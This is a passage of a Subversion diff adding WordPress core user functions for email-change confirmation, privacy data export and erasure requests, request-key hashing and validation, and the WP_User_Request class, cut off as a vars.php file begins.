+		AND meta_value NOT REGEXP %s
+	", $regex ) );
+
+	return $users;
+}
+
+/**
+ * Retrieves the current user object.
+ *
+ * Will set the current user, if the current user is not set. The current user
+ * will be set to the logged-in person. If no user is logged-in, then it will
+ * set the current user to 0, which is invalid and won't have any permissions.
+ *
+ * This function is used by the pluggable functions wp_get_current_user() and
+ * get_currentuserinfo(), the latter of which is deprecated but used for backward
+ * compatibility.
+ *
+ * @since 4.5.0
+ * @access private
+ *
+ * @see wp_get_current_user()
+ * @global WP_User $current_user Checks if the current user is set.
+ *
+ * @return WP_User Current WP_User instance.
+ */
+function _wp_get_current_user() {
+	global $current_user;
+
+	if ( ! empty( $current_user ) ) {
+		if ( $current_user instanceof WP_User ) {
+			return $current_user;
+		}
+
+		// Upgrade stdClass to WP_User
+		if ( is_object( $current_user ) && isset( $current_user->ID ) ) {
+			$cur_id = $current_user->ID;
+			$current_user = null;
+			wp_set_current_user( $cur_id );
+			return $current_user;
+		}
+
+		// $current_user has a junk value. Force to WP_User with ID 0.
+		$current_user = null;
+		wp_set_current_user( 0 );
+		return $current_user;
+	}
+
+	if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) {
+		wp_set_current_user( 0 );
+		return $current_user;
+	}
+
+	/**
+	 * Filters the current user.
+	 *
+	 * The default filters use this to determine the current user from the
+	 * request's cookies, if available.
+	 *
+	 * Returning a value of false will effectively short-circuit setting
+	 * the current user.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|bool $user_id User ID if one has been determined, false otherwise.
+	 */
+	$user_id = apply_filters( 'determine_current_user', false );
+	if ( ! $user_id ) {
+		wp_set_current_user( 0 );
+		return $current_user;
+	}
+
+	wp_set_current_user( $user_id );
+
+	return $current_user;
+}
+
+/**
+ * Send a confirmation request email when a change of user email address is attempted.
+ *
+ * @since 3.0.0
+ * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
+ *
+ * @global WP_Error $errors WP_Error object.
+ * @global wpdb     $wpdb   WordPress database object.
+ */
+function send_confirmation_on_profile_email() {
+	global $errors, $wpdb;
+
+	$current_user = wp_get_current_user();
+	if ( ! is_object( $errors ) ) {
+		$errors = new WP_Error();
+	}
+
+	if ( $current_user->ID != $_POST['user_id'] ) {
+		return false;
+	}
+
+	if ( $current_user->user_email != $_POST['email'] ) {
+		if ( ! is_email( $_POST['email'] ) ) {
+			$errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address isn&#8217;t correct." ), array(
+				'form-field' => 'email',
+			) );
+
+			return;
+		}
+
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT user_email FROM {$wpdb->users} WHERE user_email=%s", $_POST['email'] ) ) ) {
+			$errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address is already used." ), array(
+				'form-field' => 'email',
+			) );
+			delete_user_meta( $current_user->ID, '_new_email' );
+
+			return;
+		}
+
+		$hash           = md5( $_POST['email'] . time() . wp_rand() );
+		$new_user_email = array(
+			'hash'     => $hash,
+			'newemail' => $_POST['email'],
+		);
+		update_user_meta( $current_user->ID, '_new_email', $new_user_email );
+
+		$sitename = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
+
+		/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
+		$email_text = __( 'Howdy ###USERNAME###,
+
+You recently requested to have the email address on your account changed.
+
+If this is correct, please click on the following link to change it:
+###ADMIN_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+		/**
+		 * Filters the text of the email sent when a change of user email address is attempted.
+		 *
+		 * The following strings have a special meaning and will get replaced dynamically:
+		 * ###USERNAME###  The current user's username.
+		 * ###ADMIN_URL### The link to click on to confirm the email change.
+		 * ###EMAIL###     The new email.
+		 * ###SITENAME###  The name of the site.
+		 * ###SITEURL###   The URL to the site.
+		 *
+		 * @since MU (3.0.0)
+		 * @since 4.9.0 This filter is no longer Multisite specific.
+		 *
+		 * @param string $email_text     Text in the email.
+		 * @param array  $new_user_email {
+		 *     Data relating to the new user email address.
+		 *
+		 *     @type string $hash     The secure hash used in the confirmation link URL.
+		 *     @type string $newemail The proposed new email address.
+		 * }
+		 */
+		$content = apply_filters( 'new_user_email_content', $email_text, $new_user_email );
+
+		$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
+		$content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'profile.php?newuseremail=' . $hash ) ), $content );
+		$content = str_replace( '###EMAIL###', $_POST['email'], $content );
+		$content = str_replace( '###SITENAME###', $sitename, $content );
+		$content = str_replace( '###SITEURL###', home_url(), $content );
+
+		wp_mail( $_POST['email'], sprintf( __( '[%s] New Email Address' ), $sitename ), $content );
+
+		$_POST['email'] = $current_user->user_email;
+	}
+}
+
+/**
+ * Adds an admin notice alerting the user to check for confirmation request email
+ * after email address change.
+ *
+ * @since 3.0.0
+ * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
+ *
+ * @global string $pagenow
+ */
+function new_user_email_admin_notice() {
+	global $pagenow;
+	if ( 'profile.php' === $pagenow && isset( $_GET['updated'] ) && $email = get_user_meta( get_current_user_id(), '_new_email', true ) ) {
+		/* translators: %s: New email address */
+		echo '<div class="notice notice-info"><p>' . sprintf( __( 'Your email address has not been updated yet. Please check your inbox at %s for a confirmation email.' ), '<code>' . esc_html( $email['newemail'] ) . '</code>' ) . '</p></div>';
+	}
+}
+
+/**
+ * Get all user privacy request types.
+ *
+ * @since 4.9.6
+ * @access private
+ *
+ * @return array List of core privacy action types.
+ */
+function _wp_privacy_action_request_types() {
+	return array(
+		'export_personal_data',
+		'remove_personal_data',
+	);
+}
+
+/**
+ * Registers the personal data exporter for users.
+ *
+ * @since 4.9.6
+ *
+ * @param array $exporters  An array of personal data exporters.
+ * @return array An array of personal data exporters.
+ */
+function wp_register_user_personal_data_exporter( $exporters ) {
+	$exporters['wordpress-user'] = array(
+		'exporter_friendly_name' => __( 'WordPress User' ),
+		'callback'               => 'wp_user_personal_data_exporter',
+	);
+
+	return $exporters;
+}
+
+/**
+ * Finds and exports personal data associated with an email address from the user and user_meta table.
+ *
+ * @since 4.9.6
+ *
+ * @param string $email_address  The users email address.
+ * @return array An array of personal data.
+ */
+function wp_user_personal_data_exporter( $email_address ) {
+	$email_address = trim( $email_address );
+
+	$data_to_export = array();
+
+	$user = get_user_by( 'email', $email_address );
+
+	if ( ! $user ) {
+		return array(
+			'data' => array(),
+			'done' => true,
+		);
+	}
+
+	$user_meta = get_user_meta( $user->ID );
+
+	$user_prop_to_export = array(
+		'ID'              => __( 'User ID' ),
+		'user_login'      => __( 'User Login Name' ),
+		'user_nicename'   => __( 'User Nice Name' ),
+		'user_email'      => __( 'User Email' ),
+		'user_url'        => __( 'User URL' ),
+		'user_registered' => __( 'User Registration Date' ),
+		'display_name'    => __( 'User Display Name' ),
+		'nickname'        => __( 'User Nickname' ),
+		'first_name'      => __( 'User First Name' ),
+		'last_name'       => __( 'User Last Name' ),
+		'description'     => __( 'User Description' ),
+	);
+
+	$user_data_to_export = array();
+
+	foreach ( $user_prop_to_export as $key => $name ) {
+		$value = '';
+
+		switch ( $key ) {
+			case 'ID':
+			case 'user_login':
+			case 'user_nicename':
+			case 'user_email':
+			case 'user_url':
+			case 'user_registered':
+			case 'display_name':
+				$value = $user->data->$key;
+				break;
+			case 'nickname':
+			case 'first_name':
+			case 'last_name':
+			case 'description':
+				$value = $user_meta[ $key ][0];
+				break;
+		}
+
+		if ( ! empty( $value ) ) {
+			$user_data_to_export[] = array(
+				'name'  => $name,
+				'value' => $value,
+			);
+		}
+	}
+
+	$data_to_export[] = array(
+		'group_id'    => 'user',
+		'group_label' => __( 'User' ),
+		'item_id'     => "user-{$user->ID}",
+		'data'        => $user_data_to_export,
+	);
+
+	return array(
+		'data' => $data_to_export,
+		'done' => true,
+	);
+}
+
+/**
+ * Update log when privacy request is confirmed.
+ *
+ * @since 4.9.6
+ * @access private
+ *
+ * @param int $request_id ID of the request.
+ */
+function _wp_privacy_account_request_confirmed( $request_id ) {
+	$request_data = wp_get_user_request_data( $request_id );
+
+	if ( ! $request_data ) {
+		return;
+	}
+
+	if ( ! in_array( $request_data->status, array( 'request-pending', 'request-failed' ), true ) ) {
+		return;
+	}
+
+	update_post_meta( $request_id, '_wp_user_request_confirmed_timestamp', time() );
+	wp_update_post( array(
+		'ID'          => $request_id,
+		'post_status' => 'request-confirmed',
+	) );
+}
+
+/**
+ * Notify the site administrator via email when a request is confirmed.
+ *
+ * Without this, the admin would have to manually check the site to see if any
+ * action was needed on their part yet.
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id The ID of the request.
+ */
+function _wp_privacy_send_request_confirmation_notification( $request_id ) {
+	$request_data = wp_get_user_request_data( $request_id );
+
+	if ( ! is_a( $request_data, 'WP_User_Request' ) || 'request-confirmed' !== $request_data->status ) {
+		return;
+	}
+
+	$already_notified = (bool) get_post_meta( $request_id, '_wp_admin_notified', true );
+
+	if ( $already_notified ) {
+		return;
+	}
+
+	$manage_url         = add_query_arg( 'page', $request_data->action_name, admin_url( 'tools.php' ) );
+	$action_description = wp_user_request_action_description( $request_data->action_name );
+
+	/**
+	 * Filters the recipient of the data request confirmation notification.
+	 *
+	 * In a Multisite environment, this will default to the email address of the
+	 * network admin because, by default, single site admins do not have the
+	 * capabilities required to process requests. Some networks may wish to
+	 * delegate those capabilities to a single-site admin, or a dedicated person
+	 * responsible for managing privacy requests.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string          $admin_email  The email address of the notification recipient.
+	 * @param WP_User_Request $request_data The request that is initiating the notification.
+	 */
+	$admin_email = apply_filters( 'user_request_confirmed_email_to', get_site_option( 'admin_email' ), $request_data );
+
+	$email_data = array(
+		'request'     => $request_data,
+		'user_email'  => $request_data->email,
+		'description' => $action_description,
+		'manage_url'  => $manage_url,
+		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
+		'siteurl'     => home_url(),
+		'admin_email' => $admin_email,
+	);
+
+	/* translators: Do not translate SITENAME, USER_EMAIL, DESCRIPTION, MANAGE_URL, SITEURL; those are placeholders. */
+	$email_text = __(
+		'Howdy,
+
+A user data privacy request has been confirmed on ###SITENAME###:
+
+User: ###USER_EMAIL###
+Request: ###DESCRIPTION###
+
+You can view and manage these data privacy requests here:
+
+###MANAGE_URL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###'
+	);
+
+	/**
+	 * Filters the body of the user request confirmation email.
+	 *
+	 * The email is sent to an administrator when an user request is confirmed.
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 *
+	 * ###SITENAME###    The name of the site.
+	 * ###USER_EMAIL###  The user email for the request.
+	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
+	 * ###MANAGE_URL###  The URL to manage requests.
+	 * ###SITEURL###     The URL to the site.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $email_text Text in the email.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request     User request object.
+	 *     @type string          $user_email  The email address confirming a request
+	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
+	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
+	 *     @type string          $sitename    The site name sending the mail.
+	 *     @type string          $siteurl     The site URL sending the mail.
+	 *     @type string          $admin_email The administrator email receiving the mail.
+	 * }
+	 */
+	$content = apply_filters( 'user_confirmed_action_email_content', $email_text, $email_data );
+
+	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
+	$content = str_replace( '###USER_EMAIL###', $email_data['user_email'], $content );
+	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
+	$content = str_replace( '###MANAGE_URL###', esc_url_raw( $email_data['manage_url'] ), $content );
+	$content = str_replace( '###SITEURL###', esc_url_raw( $email_data['siteurl'] ), $content );
+
+	$subject = sprintf(
+		/* translators: 1: Site name. 2: Name of the confirmed action. */
+		__( '[%1$s] Action Confirmed: %2$s' ),
+		$email_data['sitename'],
+		$action_description
+	);
+
+	/**
+	 * Filters the subject of the user request confirmation email.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param string $subject    The email subject.
+	 * @param string $sitename   The name of the site.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request     User request object.
+	 *     @type string          $user_email  The email address confirming a request
+	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
+	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
+	 *     @type string          $sitename    The site name sending the mail.
+	 *     @type string          $siteurl     The site URL sending the mail.
+	 *     @type string          $admin_email The administrator email receiving the mail.
+	 * }
+	 */
+	$subject = apply_filters( 'user_request_confirmed_email_subject', $subject, $email_data['sitename'], $email_data );
+
+	$email_sent = wp_mail( $email_data['admin_email'], $subject, $content );
+
+	if ( $email_sent ) {
+		update_post_meta( $request_id, '_wp_admin_notified', true );
+	}
+}
+
+/**
+ * Notify the user when their erasure request is fulfilled.
+ *
+ * Without this, the user would never know if their data was actually erased.
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id The privacy request post ID associated with this request.
+ */
+function _wp_privacy_send_erasure_fulfillment_notification( $request_id ) {
+	$request_data = wp_get_user_request_data( $request_id );
+
+	if ( ! is_a( $request_data, 'WP_User_Request' ) || 'request-completed' !== $request_data->status ) {
+		return;
+	}
+
+	$already_notified = (bool) get_post_meta( $request_id, '_wp_user_notified', true );
+
+	if ( $already_notified ) {
+		return;
+	}
+
+	/**
+	 * Filters the recipient of the data erasure fulfillment notification.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string          $user_email   The email address of the notification recipient.
+	 * @param WP_User_Request $request_data The request that is initiating the notification.
+	 */
+	$user_email = apply_filters( 'user_erasure_fulfillment_email_to', $request_data->email, $request_data );
+
+	$email_data = array(
+		'request'            => $request_data,
+		'message_recipient'  => $user_email,
+		'privacy_policy_url' => get_privacy_policy_url(),
+		'sitename'           => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
+		'siteurl'            => home_url(),
+	);
+
+	$subject  = sprintf(
+		/* translators: %s: Site name. */
+		__( '[%s] Erasure Request Fulfilled' ),
+		$email_data['sitename']
+	);
+
+	/**
+	 * Filters the subject of the email sent when an erasure request is completed.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param string $subject    The email subject.
+	 * @param string $sitename   The name of the site.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request            User request object.
+	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
+	 *                                               to the value of `$request->email`, but can be changed
+	 *                                               by the `user_erasure_fulfillment_email_to` filter.
+	 *     @type string          $privacy_policy_url Privacy policy URL.
+	 *     @type string          $sitename           The site name sending the mail.
+	 *     @type string          $siteurl            The site URL sending the mail.
+	 * }
+	 */
+	$subject = apply_filters( 'user_erasure_complete_email_subject', $subject, $email_data['sitename'], $email_data );
+
+	if ( empty( $email_data['privacy_policy_url'] ) ) {
+		/* translators: Do not translate SITENAME, SITEURL; those are placeholders. */
+		$email_text = __(
+			'Howdy,
+
+Your request to erase your personal data on ###SITENAME### has been completed.
+
+If you have any follow-up questions or concerns, please contact the site administrator.
+
+Regards,
+All at ###SITENAME###
+###SITEURL###'
+		);
+	} else {
+		/* translators: Do not translate SITENAME, SITEURL, PRIVACY_POLICY_URL; those are placeholders. */
+		$email_text = __(
+			'Howdy,
+
+Your request to erase your personal data on ###SITENAME### has been completed.
+
+If you have any follow-up questions or concerns, please contact the site administrator.
+
+For more information, you can also read our privacy policy: ###PRIVACY_POLICY_URL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###'
+		);
+	}
+
+	/**
+	 * Filters the body of the data erasure fulfillment notification.
+	 *
+	 * The email is sent to a user when a their data erasure request is fulfilled
+	 * by an administrator.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 *
+	 * ###SITENAME###           The name of the site.
+	 * ###PRIVACY_POLICY_URL### Privacy policy page URL.
+	 * ###SITEURL###            The URL to the site.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $email_text Text in the email.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request            User request object.
+	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
+	 *                                               to the value of `$request->email`, but can be changed
+	 *                                               by the `user_erasure_fulfillment_email_to` filter.
+	 *     @type string          $privacy_policy_url Privacy policy URL.
+	 *     @type string          $sitename           The site name sending the mail.
+	 *     @type string          $siteurl            The site URL sending the mail.
+	 * }
+	 */
+	$content = apply_filters( 'user_confirmed_action_email_content', $email_text, $email_data );
+
+	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
+	$content = str_replace( '###PRIVACY_POLICY_URL###', $email_data['privacy_policy_url'], $content );
+	$content = str_replace( '###SITEURL###', esc_url_raw( $email_data['siteurl'] ), $content );
+
+	$email_sent = wp_mail( $user_email, $subject, $content );
+
+	if ( $email_sent ) {
+		update_post_meta( $request_id, '_wp_user_notified', true );
+	}
+}
+
+/**
+ * Return request confirmation message HTML.
+ *
+ * @since 4.9.6
+ * @access private
+ *
+ * @param int $request_id The request ID being confirmed.
+ * @return string $message The confirmation message.
+ */
+function _wp_privacy_account_request_confirmed_message( $request_id ) {
+	$request = wp_get_user_request_data( $request_id );
+
+	$message = '<p class="success">' . __( 'Action has been confirmed.' ) . '</p>';
+	$message .= '<p>' . __( 'The site administrator has been notified and will fulfill your request as soon as possible.' ) . '</p>';
+
+	if ( $request && in_array( $request->action_name, _wp_privacy_action_request_types(), true ) ) {
+		if ( 'export_personal_data' === $request->action_name ) {
+			$message = '<p class="success">' . __( 'Thanks for confirming your export request.' ) . '</p>';
+			$message .= '<p>' . __( 'The site administrator has been notified. You will receive a link to download your export via email when they fulfill your request.' ) . '</p>';
+		} elseif ( 'remove_personal_data' === $request->action_name ) {
+			$message = '<p class="success">' . __( 'Thanks for confirming your erasure request.' ) . '</p>';
+			$message .= '<p>' . __( 'The site administrator has been notified. You will receive an email confirmation when they erase your data.' ) . '</p>';
+		}
+	}
+
+	/**
+	 * Filters the message displayed to a user when they confirm a data request.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $message    The message to the user.
+	 * @param int    $request_id The ID of the request being confirmed.
+	 */
+	$message = apply_filters( 'user_request_action_confirmed_message', $message, $request_id );
+
+	return $message;
+}
+
+/**
+ * Create and log a user request to perform a specific action.
+ *
+ * Requests are stored inside a post type named `user_request` since they can apply to both
+ * users on the site, or guests without a user account.
+ *
+ * @since 4.9.6
+ *
+ * @param string $email_address User email address. This can be the address of a registered or non-registered user.
+ * @param string $action_name   Name of the action that is being confirmed. Required.
+ * @param array  $request_data  Misc data you want to send with the verification request and pass to the actions once the request is confirmed.
+ * @return int|WP_Error Returns the request ID if successful, or a WP_Error object on failure.
+ */
+function wp_create_user_request( $email_address = '', $action_name = '', $request_data = array() ) {
+	$email_address = sanitize_email( $email_address );
+	$action_name   = sanitize_key( $action_name );
+
+	if ( ! is_email( $email_address ) ) {
+		return new WP_Error( 'invalid_email', __( 'Invalid email address.' ) );
+	}
+
+	if ( ! $action_name ) {
+		return new WP_Error( 'invalid_action', __( 'Invalid action name.' ) );
+	}
+
+	$user    = get_user_by( 'email', $email_address );
+	$user_id = $user && ! is_wp_error( $user ) ? $user->ID : 0;
+
+	// Check for duplicates.
+	$requests_query = new WP_Query( array(
+		'post_type'     => 'user_request',
+		'post_name__in' => array( $action_name ),  // Action name stored in post_name column.
+		'title'         => $email_address, // Email address stored in post_title column.
+		'post_status'   => 'any',
+		'fields'        => 'ids',
+	) );
+
+	if ( $requests_query->found_posts ) {
+		return new WP_Error( 'duplicate_request', __( 'A request for this email address already exists.' ) );
+	}
+
+	$request_id = wp_insert_post( array(
+		'post_author'   => $user_id,
+		'post_name'     => $action_name,
+		'post_title'    => $email_address,
+		'post_content'  => wp_json_encode( $request_data ),
+		'post_status'   => 'request-pending',
+		'post_type'     => 'user_request',
+		'post_date'     => current_time( 'mysql', false ),
+		'post_date_gmt' => current_time( 'mysql', true ),
+	), true );
+
+	return $request_id;
+}
+
+/**
+ * Get action description from the name and return a string.
+ *
+ * @since 4.9.6
+ *
+ * @param string $action_name Action name of the request.
+ * @return string Human readable action name.
+ */
+function wp_user_request_action_description( $action_name ) {
+	switch ( $action_name ) {
+		case 'export_personal_data':
+			$description = __( 'Export Personal Data' );
+			break;
+		case 'remove_personal_data':
+			$description = __( 'Erase Personal Data' );
+			break;
+		default:
+			/* translators: %s: action name */
+			$description = sprintf( __( 'Confirm the "%s" action' ), $action_name );
+			break;
+	}
+
+	/**
+	 * Filters the user action description.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $description The default description.
+	 * @param string $action_name The name of the request.
+	 */
+	return apply_filters( 'user_request_action_description', $description, $action_name );
+}
+
+/**
+ * Send a confirmation request email to confirm an action.
+ *
+ * If the request is not already pending, it will be updated.
+ *
+ * @since 4.9.6
+ *
+ * @param string $request_id ID of the request created via wp_create_user_request().
+ * @return WP_Error|bool Will return true/false based on the success of sending the email, or a WP_Error object.
+ */
+function wp_send_user_request( $request_id ) {
+	$request_id = absint( $request_id );
+	$request    = wp_get_user_request_data( $request_id );
+
+	if ( ! $request ) {
+		return new WP_Error( 'user_request_error', __( 'Invalid request.' ) );
+	}
+
+	$email_data = array(
+		'request'     => $request,
+		'email'       => $request->email,
+		'description' => wp_user_request_action_description( $request->action_name ),
+		'confirm_url' => add_query_arg( array(
+			'action'      => 'confirmaction',
+			'request_id'  => $request_id,
+			'confirm_key' => wp_generate_user_request_key( $request_id ),
+		), wp_login_url() ),
+		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
+		'siteurl'     => home_url(),
+	);
+
+	/* translators: Do not translate DESCRIPTION, CONFIRM_URL, SITENAME, SITEURL: those are placeholders. */
+	$email_text = __(
+		'Howdy,
+
+A request has been made to perform the following action on your account:
+
+     ###DESCRIPTION###
+
+To confirm this, please click on the following link:
+###CONFIRM_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+Regards,
+All at ###SITENAME###
+###SITEURL###'
+	);
+
+	/**
+	 * Filters the text of the email sent when an account action is attempted.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 *
+	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
+	 * ###CONFIRM_URL### The link to click on to confirm the account action.
+	 * ###SITENAME###    The name of the site.
+	 * ###SITEURL###     The URL to the site.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $email_text Text in the email.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request     User request object.
+	 *     @type string          $email       The email address this is being sent to.
+	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
+	 *     @type string          $confirm_url The link to click on to confirm the account action.
+	 *     @type string          $sitename    The site name sending the mail.
+	 *     @type string          $siteurl     The site URL sending the mail.
+	 * }
+	 */
+	$content = apply_filters( 'user_request_action_email_content', $email_text, $email_data );
+
+	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
+	$content = str_replace( '###CONFIRM_URL###', esc_url_raw( $email_data['confirm_url'] ), $content );
+	$content = str_replace( '###EMAIL###', $email_data['email'], $content );
+	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
+	$content = str_replace( '###SITEURL###', esc_url_raw( $email_data['siteurl'] ), $content );
+
+	/* translators: Privacy data request subject. 1: Site name, 2: Name of the action */
+	$subject = sprintf( __( '[%1$s] Confirm Action: %2$s' ), $email_data['sitename'], $email_data['description'] );
+
+	/**
+	 * Filters the subject of the email sent when an account action is attempted.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $subject    The email subject.
+	 * @param string $sitename   The name of the site.
+	 * @param array  $email_data {
+	 *     Data relating to the account action email.
+	 *
+	 *     @type WP_User_Request $request     User request object.
+	 *     @type string          $email       The email address this is being sent to.
+	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
+	 *     @type string          $confirm_url The link to click on to confirm the account action.
+	 *     @type string          $sitename    The site name sending the mail.
+	 *     @type string          $siteurl     The site URL sending the mail.
+	 * }
+	 */
+	$subject = apply_filters( 'user_request_action_email_subject', $subject, $email_data['sitename'], $email_data );
+
+	return wp_mail( $email_data['email'], $subject, $content );
+}
+
+/**
+ * Returns a confirmation key for a user action and stores the hashed version for future comparison.
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id Request ID.
+ * @return string Confirmation key.
+ */
+function wp_generate_user_request_key( $request_id ) {
+	global $wp_hasher;
+
+	// Generate something random for a confirmation key.
+	$key = wp_generate_password( 20, false );
+
+	// Return the key, hashed.
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+
+	wp_update_post( array(
+		'ID'                => $request_id,
+		'post_status'       => 'request-pending',
+		'post_password'     => $wp_hasher->HashPassword( $key ),
+		'post_modified'     => current_time( 'mysql', false ),
+		'post_modified_gmt' => current_time( 'mysql', true ),
+	) );
+
+	return $key;
+}
+
+/**
+ * Validate a user request by comparing the key with the request's key.
+ *
+ * @since 4.9.6
+ *
+ * @param string $request_id ID of the request being confirmed.
+ * @param string $key        Provided key to validate.
+ * @return bool|WP_Error WP_Error on failure, true on success.
+ */
+function wp_validate_user_request_key( $request_id, $key ) {
+	global $wp_hasher;
+
+	$request_id = absint( $request_id );
+	$request    = wp_get_user_request_data( $request_id );
+
+	if ( ! $request ) {
+		return new WP_Error( 'user_request_error', __( 'Invalid request.' ) );
+	}
+
+	if ( ! in_array( $request->status, array( 'request-pending', 'request-failed' ), true ) ) {
+		return __( 'This link has expired.' );
+	}
+
+	if ( empty( $key ) ) {
+		return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+	}
+
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+
+	$key_request_time = $request->modified_timestamp;
+	$saved_key        = $request->confirm_key;
+
+	if ( ! $saved_key ) {
+		return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+	}
+
+	if ( ! $key_request_time ) {
+		return new WP_Error( 'invalid_key', __( 'Invalid action' ) );
+	}
+
+	/**
+	 * Filters the expiration time of confirm keys.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param int $expiration The expiration time in seconds.
+	 */
+	$expiration_duration = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );
+	$expiration_time     = $key_request_time + $expiration_duration;
+
+	if ( ! $wp_hasher->CheckPassword( $key, $saved_key ) ) {
+		return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
+	}
+
+	if ( ! $expiration_time || time() > $expiration_time ) {
+		return new WP_Error( 'expired_key', __( 'The confirmation email has expired.' ) );
+	}
+
+	return true;
+}
+
+/**
+ * Return data about a user request.
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id Request ID to get data about.
+ * @return WP_User_Request|false
+ */
+function wp_get_user_request_data( $request_id ) {
+	$request_id = absint( $request_id );
+	$post       = get_post( $request_id );
+
+	if ( ! $post || 'user_request' !== $post->post_type ) {
+		return false;
+	}
+
+	return new WP_User_Request( $post );
+}
+
+/**
+ * WP_User_Request class.
+ *
+ * Represents user request data loaded from a WP_Post object.
+ *
+ * @since 4.9.6
+ */
+final class WP_User_Request {
+	/**
+	 * Request ID.
+	 *
+	 * @var int
+	 */
+	public $ID = 0;
+
+	/**
+	 * User ID.
+	 *
+	 * @var int
+	 */
+
+	public $user_id = 0;
+
+	/**
+	 * User email.
+	 *
+	 * @var int
+	 */
+	public $email = '';
+
+	/**
+	 * Action name.
+	 *
+	 * @var string
+	 */
+	public $action_name = '';
+
+	/**
+	 * Current status.
+	 *
+	 * @var string
+	 */
+	public $status = '';
+
+	/**
+	 * Timestamp this request was created.
+	 *
+	 * @var int|null
+	 */
+	public $created_timestamp = null;
+
+	/**
+	 * Timestamp this request was last modified.
+	 *
+	 * @var int|null
+	 */
+	public $modified_timestamp = null;
+
+	/**
+	 * Timestamp this request was confirmed.
+	 *
+	 * @var int
+	 */
+	public $confirmed_timestamp = null;
+
+	/**
+	 * Timestamp this request was completed.
+	 *
+	 * @var int
+	 */
+	public $completed_timestamp = null;
+
+	/**
+	 * Misc data assigned to this request.
+	 *
+	 * @var array
+	 */
+	public $request_data = array();
+
+	/**
+	 * Key used to confirm this request.
+	 *
+	 * @var string
+	 */
+	public $confirm_key = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_Post|object $post Post object.
+	 */
+	public function __construct( $post ) {
+		$this->ID                  = $post->ID;
+		$this->user_id             = $post->post_author;
+		$this->email               = $post->post_title;
+		$this->action_name         = $post->post_name;
+		$this->status              = $post->post_status;
+		$this->created_timestamp   = strtotime( $post->post_date_gmt );
+		$this->modified_timestamp  = strtotime( $post->post_modified_gmt );
+		$this->confirmed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_confirmed_timestamp', true );
+		$this->completed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_completed_timestamp', true );
+		$this->request_data        = json_decode( $post->post_content, true );
+		$this->confirm_key         = $post->post_password;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/vars.php
===================================================================
--- /tags/5.0.20/src/wp-includes/vars.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/vars.php	(revision 56912)
@@ -0,0 +1,150 @@
+<?php
+/**
